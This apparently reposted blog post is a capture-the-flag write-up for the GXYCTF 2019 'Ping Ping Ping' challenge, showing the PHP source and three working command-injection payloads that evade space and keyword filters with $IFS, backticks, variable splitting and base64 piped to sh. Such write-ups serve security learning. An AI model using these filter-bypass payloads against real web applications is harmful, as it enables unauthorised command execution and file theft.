当前位置: 首页 > news >正文

[GXYCTF 2019]Ping Ping Ping 题解(多种解题方式)

知识点:

命令执行

linux空格绕过

反引号绕过       变量绕过          base64编码绕过

打开页面提示 "听说php可以执行系统函数?我来康康"

然后输入框内提示输入 bjut.edu.cn   输入之后回显信息,是ping 这个网址的信息

 

输入127.0.0.1

因为提示是命令执行,并且会执行ping操作,用;分隔命令,输入 

bjut.edu.cn;ls

发现回显了两个文件flag.php 和 index.php 也说明是linux环境,查看一下flag.php文件


输入bjut.edu.cn;cat flag.php 报错fxck your space!

说明是过滤了空格
#${IFS}  $IFS$1  %09  %20  ${IFS  <重定向符号 有时候都可以替代空格 就看题目过滤了什么符号


尝试之后发现$IFS$1可以  最后的1可以是其他数字,效果是一样的

bjut.edu.cn;cat$IFS$1flag.php

回显fxck your flag! flag也被过滤了
那就查看一下index.php文件,发现里面是源代码

if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){print_r($match);print($ip);echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");}else if(preg_match("/ /", $ip)){die("fxck your space!");}else if(preg_match("/bash/", $ip)){die("fxck your bash!");}else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#检查字符串中是否分别含有 'f', 'l', 'a', 'g' 这四个字母,无论这四个字母之间有多少或什么其他的字符,而且它们出现的顺序与 "flag" 字符串中的顺序相同die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "";print_r($a);}

方法一: 反引号绕过

其中过滤了很多符号,但是没有过滤反引号``

使用反引号绕过   bjut.edu.cn;cat$IFS$1`ls` (先执行``里面的代码,绕过输入flag的限制)

然后f12查看源码得到被注释的flag

方法二:变量绕过

例如a=l;b=s;$a$b  就会执行ls
输入框输入   127.0.0.1;x=f;cat$IFS$1$xlag.php 
这种情况会显示fuck flag,即被过滤,因为整个字符串参数ip中 f l a g 顺序出现

127.0.0.1;x=l;cat$IFS$1f$xag.php    没被过滤,但是不回显flag
127.0.0.1;x=a;cat$IFS$1fl$xg.php    也是一样不回显flag
127.0.0.1;x=g;cat$IFS$1fla$x.php    查看源码得到flag
127.0.0.1;x=ag;cat$IFS$1fl$x.php    查看源码也可以得到flag
127.0.0.1;x=lag;cat$IFS$1f$x.php    查看源码也可以得到flag


这里我的理解是f$xag.php  和 fl$xg.php 不回显flag 是因为把原本的参数$x 当成了$xag 和  $xg
所以要把参数放在最后才会识别为$x

方法三:base64编码绕过

这里还可以将cat flag.php进行base64编码
得到Y2F0IGZsYWcucGhw       再用base64-d命令来执行
虽然过滤了bash但大部分命令仍然可以用sh来代替执行

127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

使用 echo命令使得cat flag.php的base64编码被正确地作为输入参数传递给 base64 -d

即前面的  echo$IFS$1Y2F0IGZsYWcucGhw  作为管道符的输入




同样可以使用反引号``配合base64编码绕过,这样不需要使用sh

127.0.0.1;`echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d`

http://www.lryc.cn/news/471347.html

相关文章:

  • MODSI EVI 数据的时间序列拟合一阶谐波模型
  • Java:String类(超详解!)
  • 【日志】力扣13.罗马数字转整数 || 解决泛型单例热加载失败问题
  • Mybatis高级
  • 【spark】spark structrued streaming读写kafka 使用kerberos认证
  • 【脚本】B站视频AB复读
  • leetcode - 257. 二叉树的所有路径
  • python 相关
  • 静态分析2:控制流分析(构建CFG)
  • Linux 应用领域
  • FPM383C指纹模块超详解 附驱动
  • 若依框架篇-若依集成 X-File-Storage 框架(实现图片上传阿里云 OSS 服务器)、EasyExcel 框架(实现 Excel 数据批量导入功能)
  • .rmallox勒索病毒肆虐:如何有效防范与应对
  • 人工智能能否影响未来生活:一场深刻的社会与技术变革
  • cmu 15-445学习笔记-3 存储引擎
  • [linux]和windows间传输命令scp 执行WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!错误解决
  • C++ | Leetcode C++题解之第518题零钱兑换II
  • 高并发-负载均衡
  • Docker 常用命令全解析:提升对雷池社区版的使用经验
  • 基于 Postman 和 Elasticsearch 测试乐观锁的操作流程
  • 如何从PPT中导出600dpi的高清图
  • day01-ElasticStack+Kibana
  • HTML 约束验证
  • vue3项目开发一些必备的内容,该安装安装,该创建创建
  • 2D拓扑图
  • 大数据面试题整理——Hive
  • Python实现图像(边缘)锐化:梯度锐化、Roberts 算子、Laplace算子、Sobel算子的详细方法
  • 【电机控制】相电流重构——单电阻采样方案
  • #基础算法
  • 如何用猿大师办公助手实现OA系统中Word公文/合同在线编辑及流转?